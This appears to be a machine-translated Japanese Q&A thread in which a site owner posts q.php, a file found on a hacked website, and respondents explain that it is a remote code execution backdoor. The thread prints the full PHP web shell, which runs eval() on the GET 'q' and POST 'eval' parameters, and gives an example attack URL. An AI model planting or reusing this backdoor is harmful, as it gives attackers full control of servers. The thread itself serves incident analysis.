2012-01-19 6 views
3

自分のウェブサイトの1つに登場したq.phpというファイルがあります。サイトはハッキングされています。誰がファイルの内容を知っていますか?ハックしたウェブサイトの異常なPHPファイル

<? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?> 
<?=eval(@$_GET['q']);?> 
<?php 
if (!isset($_POST['eval'])) {die('');} 
eval($_POST['eval']); 
?> 
+7

と呼ばれる、リモートホストされたフォームから転記されたコードを実行します(追加アップロードなしで、明らかにすでに可能なこともあります)。 – mario

答えて

10

それは誰もがGETリクエスト、またはPOSTリクエストの「evalの」のparamで任意のコードで「Q」のパラメータとして渡されるPHPコードを実行することができますように見えます。関連するすべてのエラーを抑制します。

これは悪いことですが、サイトが既に停止していない場合は、オフラインにしてサーバーを非常に詳しく監査することをおすすめします。

1

?q = GET引数またはPOST eval引数で送信されたPHPコードを実行します。

私はあなたのサーバーをクリーンアップし、クリーンインストールからもう一度やり直すことをお勧めします。

1

これにより、攻撃者は任意のコードを実行できます。

URLに?q=codeでコードを渡すか、evalパラメータにPOST-Requestに挿入すると、スクリプトが実行されます。

これは基本的にリモートコード実行バックドアです。

1

ニース。最初の行が何であるかはわかりませんが、2つのeval行は、誰かがあなたのサーバー上でそれらをurlまたはpostデータにそれぞれ渡して、それらのコードを実行できるようにします。

+0

私の推測では、ディレクトリリストや実行したい共通の機能を持つhtmlファイルをロードすると思います。 – MetalFrog

+0

@ MetalFrog nah、エコーだけで文字列が吐き出されます。私のお金は、実際に彼らが何をしているのかわからない脚本児童にあります。 –

+0

なぜ、私はそれが必要であると思ったのか、それとも早い段階で含まれているのか分かりません。 Derp moment。 – MetalFrog

1

大きな問題は、攻撃者が最初にファイルをどのようにアップロードできるかということです。そのファイルには、攻撃者が無断でサーバー上でコードを実行できるように挿入されたコードがあります。

このファイルと不正なコードを含む他のファイルを削除するだけでは問題が解決されないため、攻撃者はファイルをWebサイトのファイルリポジトリにアップロードできます。いずれにしても

は、ここで完全な破壊である:

1 /のerror_reporting(0)。 エラー報告をオフに設定します。

2/if(@ $ _ GET ['wpth']){echo "./mywebsite.co.uk/index.htm"; }?> 最後に/?wpthを付けてURLを呼び出すと、ページの上部にURLがエコーされます。

3/ これは、qの値に含まれるすべてのコードを実行します。すなわちyourdomain.com/?q=base64_decode(%27somelongstringhere%27)

4 /(ISSET($ _ POST [ 'のeval']!))であれば{ダイス( '');} キルページの実行の場合evalと呼ばれるポストフォーム変数は設定されません。

5/eval($ _ POST ['eval']); フォーム変数がeval

関連する問題